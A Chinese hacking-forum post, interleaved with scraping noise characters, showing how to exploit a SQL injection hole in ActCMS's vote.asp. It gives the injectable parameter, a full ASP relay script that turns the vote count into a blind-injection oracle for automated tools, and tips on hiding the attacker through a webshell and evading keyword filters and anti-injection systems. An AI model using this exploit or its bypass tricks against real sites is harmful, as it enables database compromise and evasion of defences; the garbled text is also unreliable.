! s* ^; T# p5 F' X" k看到ninty大牛的blog的一篇文章
( B. n2 {, W, ~$ x" \6 j( Z3 g链接标记[url]http://www.forjj.com/?action=show&id=80[/url]; N5 V& v3 ~; z. `2 i7 E
关于actcms漏洞的利用 by 3x qq:3818625898 F0 a' l* J8 k+ Q [) v& ^: V
转载请注明以上
& W6 F+ x) u- }. o8 e d漏洞文件:
8 k' b* f) ?' D3 ~/plus/vote/vote.asp
# {' a; |( @ v- ~& F; i0 _代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then
; z) |) T* A7 g I" U
/ m1 K- Z0 _6 e6 k# ^. C2 response.write "<script>alert('请选择投票项目。');window.close()</script>" 0 v* Q. P& N: e1 w) ~& Z/ s
7 S3 i/ Q7 i. s( \8 M- C3 response.end - }3 X8 ^1 B6 h+ R8 S( g
Y6 f% o1 |1 t4 end if
: O& D4 M% r& p% H( W3 d
8 E# X6 q4 X: m) S: N3 H7 X2 P( U5 for i=1 to request("voted").count : [' Y# }* M% d0 {+ G
7 C, b" q* e5 v# X1 \- A* b9 v. n' @5 G
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) 7 o+ {, s" T3 T( o: B4 X6 M
1 v @. T7 G+ E" x7 `$ A: [ }4 a
7 next
3 \4 \! y; U0 Y3 t- E. e) V
: Z: g2 V8 V. |+ G2 q8.... , W: S* `" d, N! v1 E% m. [+ r8 j! ?
# o, s/ ?# x& `' j1 w! x
9response.Redirect "index.asp?id="&id&"" & z! `# w9 I3 T( Y! Y
投票结束回跳转回index.asp这个投票结果页面1 } f. u( s: E
如果投票成功票数加1& n/ M# k, j g0 M: Z7 N
失败票数不变
$ q1 o/ ~; h& X. j# T- i如图:
# v7 N2 C' {( u4 ~+ Vhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)( T# t- ^! d$ ?. ?, M( o
; _4 h2 m1 ~2 l2009-12-27 13:20
- _5 E m- x, q: }2 A$ q O7 T0 x0 N4 r8 H3 F. j
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
N# n5 w$ P* u4 o, Y0 @) B$ W
( n+ X& e# \+ L* L/ Y6 j. b本帖隐藏的内容需要回复才可以浏览4 q; ~! A' n0 M% k1 H- z
我们用注入中转来实现这个注入具体代码如下:8 r( h2 }2 e' B" W( j( N
先用寂寞的刺猬大牛的注入中转生成jmget.asp
8 z U% G; r# g( j7 n注入地址:http://localhost/actcms/plus/vote/vote.asp+ m$ J/ i4 j' B% K# w& w9 h7 j3 g
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项9 N) F: g! ~: K0 Q# l6 S3 c5 g
& n+ z. b5 ~& M4 Q( a% i$ \ r
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
+ e' x- F$ u4 D# W9 }' o- N6 {+ V& d8 q$ b' k" j
02JmdcwName=request("jmdcw")
; g3 s2 g. J# e* b6 ^& J! r' x t0 q7 n/ F
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
- Y4 B6 b& ~% v/ {/ s' v ]& m" _+ M8 `5 B4 I+ r. _- z. i7 ?3 e& L& o( @
04JmStr="id=1&voted=-1 or 1="&JmdcwName ! c, \8 d, E: R a& k
; p& K d X7 C. j% }
05JmStr=URLEncoding(JmStr)
3 W' J6 E; |" f- v4 |0 j/ Z2 b$ b( `( d% M# K$ O- d
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp" x7 k3 M6 S+ ]9 d; S1 O- {
' R$ ?: c6 B( R' b% |
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
$ M# J4 n) C2 ]4 S3 [* Q
3 J! g; h0 B5 \- ?6 }- }2 j8 H* r+ h! S4 p08testurl=testurl & "?" & JmStr 9 S! ~% T5 R7 V8 o
2 o2 ^6 s3 A; e- O6 n/ }+ h4 L6 _
09JMUrl=JMUrl & "?" & JmStr
( I6 E" C% O- }
- L. z# h( l$ }5 A5 ~" y10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
& o( H8 g, u" z$ W. y8 ] j3 |8 r; Z
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
- `7 T4 y& i0 m$ {
. ]9 I# q. k% t0 `- p, b% h) I0 z12JmCok=replace(JmCok,chr(32),"%20") $ q, h1 I9 ?+ x
& g+ X0 r1 J5 X Z7 p4 G
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 8 K- P6 _# t% ~- d4 \# e: g; ~& W% u0 n* x
5 y% k' s5 _9 O6 ~14 3 } t+ b# |& f0 z4 W% P% ?
5 i' n, [. q/ j& A- o4 K15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
' [5 f: |& U6 m \- C' q
4 V6 H# X5 z- ^2 E7 P16 ' C$ c9 S, x K {% M7 g* E
+ N: o1 E6 r3 K" D
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 + h- S3 `# v5 q8 ~
$ I# |0 B. F( h18response.write test1&""&test2&""
! d. O# c7 H2 O! l9 q( h) x8 F8 W* A4 C1 l/ g- |. u
19 2 \4 k' k U( v, c+ g7 @( K- q
4 O0 y- G, U+ M @
20if test1=test2 then '如前后记录相等,表示失败 $ C; ~5 S7 u, t
6 `) O+ n0 L; J. V4 e/ f: W
21 response.write "failed"( D3 i- R, w" U# {
% j7 N1 d7 `3 O2 n: g8 S; `22else
* t& S9 b9 ^7 o( |# z+ C7 O/ w) _4 v, c6 R! ?
23 response.write "succeed"
1 n0 P% ~9 Q! u( |1 E1 Q* K- v2 Y" K$ X# c ?' {9 _2 f
24end if 0 x% M. a1 g @$ f
" r# y, t9 v$ S, H0 s9 V+ B: Z. M
25 2 |/ a; b% @6 W0 [
, U, z4 g/ x9 Q. i) }" M
26response.write "by 3x"; _2 I) R+ S k* f
" T3 {+ Y1 _6 {6 J4 v) X
27
: F% q( h" v1 g* o
! Z9 p+ s' I1 y* m28 / v# b' t9 v2 }2 N5 D5 r
- E: [9 F: ? Z m" u
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
* I1 n2 T& B3 G+ c- h7 ~* ?' h, v. f2 t2 P. h( e+ ?$ H' m" J# g5 Y
30Dim Http ( I- ]8 s2 \3 M/ j5 o2 ^7 l
; Y. `1 L% p ]
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 2 u" \5 c- C2 z
+ j8 C$ b& {0 E: c- b9 V- ^
32With Http % {! z3 i* k5 N6 X5 V
! @; w7 Q" Z7 P: U6 x33 + p! j4 @& o+ P7 n
/ _3 w A6 D6 K' z34.Open "GET",PostUrl,False; m' t3 i: \4 B# D) X
% n' l3 G; d. U l2 n& {35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"( F8 K1 F6 n! x% h
: c" x3 `% b( |. {+ q36.SetRequestHeader "Referer",PostRef + x' N! z7 j, `6 T9 h0 T2 S
8 r! A" `; k( V37.SetRequestHeader "Cookie",PostCok
; ~$ j# e- \ I* [4 S+ V9 K& T# g" U. _1 x+ P1 G
38.Send () , o- O1 A% [5 U0 r) W
0 A- ~$ f( F1 a* Y- c% S
39PostData = .ResponseBody ' u2 V3 W j9 }. x
! c" G5 i7 X+ z. o+ V" ] O0 t40End With
; y! Y! n7 V! u. { v* i4 U
& I. w2 P& F9 c) U8 h6 u$ l41Set Http = Nothing
' e0 P1 x3 U: X9 b7 Z, Z$ f
5 { S; x1 L* }+ J42PostData =bytes2BSTR(PostData) ' k6 f/ P5 }5 }
+ i4 b: }* i+ a' z" `
43End Function
$ Y) r$ ?; `3 s! i3 H4 i/ V
) k+ t' F5 f& j44 $ i }0 \9 r% l
" d3 w" r; b3 y) d8 A1 y
45 1 \0 @' ` | }9 U8 q( p' r
' W [8 f: `9 L4 a7 C- u- |46Function bytes2BSTR(vIn)
* v# ~( W0 `2 }5 o% g) g6 |5 B# O
9 `- u# X* {: s) O0 A1 l8 t# w47Dim strReturn 6 G8 {% `/ L8 \: A" i! t
. S5 v% H7 t j! k9 f: M. @) m, O48Dim I, ThisCharCode, NextCharCode
3 m! @0 \ g$ h7 I
; p4 q' e* H0 ]" q1 }49strReturn = ""
0 Y, W1 l4 C6 F6 [) t G, n( ]) b; ]. _% j5 ]
50For I = 1 To LenB(vIn)
% d* f, i- ?6 Q7 C5 ~. K3 z* h0 k; }4 `9 m* {+ y
51ThisCharCode = AscB(MidB(vIn, I, 1)) 6 x# Z0 ~0 j* s; K
. \6 U9 s0 B6 C2 D) f6 {5 v8 V- a52If ThisCharCode < &H80 Then
6 J. |7 ~2 p9 [" `* k; M+ T( u) J, l0 ]/ g7 X7 Y8 i# E
53strReturn = strReturn & Chr(ThisCharCode)
0 J$ e4 j; C! K, ~( I: N. f
6 Z, G& f8 N5 V; n/ l# k54Else
9 {, h! |; T! `; l8 X& S$ U/ P* W9 @
& b3 H8 z H9 [ j) h55NextCharCode = AscB(MidB(vIn, I + 1, 1)) % Q" T% W. {. y7 n; B( v
! T- r* O% S9 c, y' C$ M
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
2 V, A' a5 c) U4 a$ K
; B0 r8 `2 Y5 L. X9 ?! g& a O57I = I + 1 ) }- I- W- w/ c _$ X/ r! p
/ |" Y8 s& }2 u. r
58End If
- y! h# c* E W0 B9 T9 P" ?% j9 b/ @8 y% F
59Next
) q7 f+ U% } R* P! ~, W3 Q
1 R& n! @. d9 D8 n60bytes2BSTR = strReturn
8 Y$ m9 S$ d% w5 ?1 d' R: C# i* M
61End Function* w0 w: ^# |- `& W$ r! X
9 R3 y# a5 Q; r3 c$ o
62
+ r# H8 ~$ o; p) t, G' r- L& V
63Function URLEncoding(vstrin)
$ h$ Y+ a; w! p5 U+ }1 C) c/ v7 A5 K, r* p; I i" h Z
64strReturn=""
2 M B B5 M0 m, A
7 s% K6 w" S% k% m65Dim i ) k1 [2 V4 V! x9 O3 _7 l
7 O) [5 O7 r+ |5 V( K* ]" ]66For i=1 To Len(vstrin)
9 E! G N- m* o4 h0 W* s& A X+ o+ b
67ThisChr=Mid(vstrin,i,1)
) M1 R6 \$ {3 N. F' c. ^
+ g" L6 c' k4 f68if Abs(Asc(ThisChr))< &HFF Then9 k# [+ ~9 Q( @6 W* W; b- S
& j" n9 _0 G. w) r# F( x. u& m
69strReturn=strReturn & ThisChr
' D4 q" G) a( t" e( {
& X5 ]% G; r- h: L, V70Else
. W. s" L: \. S1 x0 {% U, w- i9 m5 m7 Q' f
71InnerCode=Asc(ThisChr) + d# ?" M8 k3 n5 {" f/ w& T Q
2 ~/ V0 _ H7 E/ p9 \9 Q) o72If InnerCode<0 Then, F% M6 F8 w2 S# |
) s6 @: \8 [% i- E$ k& v73InnerCode=InnerCode + &H10000 % R. K- S. K. i+ S
) c4 o; L& Z7 D74End If& a5 Q8 D4 M0 e
7 u2 j" X) {7 J5 A# H' D& e: ?) K
75Hight1=(InnerCode And &HFF00) \&HFF 7 K* b/ O: d" G! t8 p1 c
* t- u# t9 y8 `2 ~5 j6 H" F76Low1=InnerCode And &HFF % |$ _% R" V- `. u. f9 P" Q
- e" U% [$ b; m
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 0 X% S% m/ p, l4 f6 L
" k. ~# p$ ^) w4 @2 n; t78End if % Z) z/ Q) a" ^; N6 D# w# `
' U# C. Q, d) t* E* Y8 M9 Y8 q
79Next
5 V5 H( B. T; r. Q% n6 p! N$ b# r
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 6 t( J0 z8 C6 T/ h9 |0 g) @
: Z4 U5 [$ z# f% e
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
1 {( N4 {- b- z0 Z8 K; w' S2 N% w; u5 x7 B1 r! `4 C; X
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 ! \5 B, z$ u" v: m
4 g' W8 k0 c8 D# j
83URLEncoding=strReturn
9 S) N$ g4 j9 t0 ?) B% A& l
9 U7 d! z+ }: e84End Function- f" `) @5 D9 \! R* I; l( K8 n
6 V3 T, q0 ~- c- } h) a* k
85 5 A* V( B5 X& |5 g T- `, n
) a" L9 x3 C! _8 q; z+ r86function getSt(body)
2 v0 c. G" u# i) V4 z. D
( {/ I |6 p' s$ \+ g87 startpot=instr(body,"投票人数:")+len("投票人数:") 2 m4 a3 @# Y* s; j
' N& G* T0 w4 H- B/ R88 endpot=instr(startpot,body," ") 8 g, B, w- v7 h* k. r1 w
' y8 j! P0 w0 f$ s* T" }5 B- f' H89 getSt=mid(body,startpot,endpot-startpot)
8 D3 e0 p. E# e* z& t" e$ I+ ?2 C
( @ E7 ~/ A1 N; s3 n4 w9 o90end function / O8 r# b& A% S) x: j1 ?. i, d3 ^
' s! y- A2 Y d' s
91%>
9 {. Z& R! }3 { r( e) N; H5 G注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了3 W# G- A6 N& {; s! h
测试下效果:
: c8 u! ` h$ W8 }7 _投票成功:# s' g# U9 @4 {$ D1 V/ V& G
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)9 Q9 h x; |1 `) @/ y4 Q
; `3 h( D8 s1 p; X+ ?8 k8 P [: C2009-12-27 13:299 c7 U0 ?% R: [+ Z Z7 p
投票失败
) q! d! _( M! p, vhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)# w |/ J) ^7 f W
9 j- r. r3 a9 o. I+ z2009-12-27 13:29: s4 Y. U$ F- G9 Q/ A2 ~& b
-------------------------------------------------------------------------------; `- I9 G: D8 ^9 \$ m- }& ^$ q
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以' f0 J( t0 z0 h. N& J
很抱歉。。。只能用单线程工具去注入。。。。。
: L3 d# ^ z# j; ]$ [所以失败。。。不好意思。。。
6 Q+ B3 U6 K, i! l-------------------------------------------------------------------------------1 X3 U3 G; h* J; g8 \7 u8 g& I
3 i0 r" k2 Z( e: }! Y" K$ K注入中转的一些其他应用0 h" R* i1 n* \' i( k
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
5 N/ {: d7 l/ I- S- {1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id7 o3 I- C- u" M4 ?' x2 r
2.post注入转成get型的注入,方便我们使用工具来跑% h+ P4 g! G/ ^' }9 }
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")' Q/ J% S6 [ w+ J) R, @
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过 |4 X5 B. R4 F; s _0 X
* b8 p1 Q! r% ^: l
|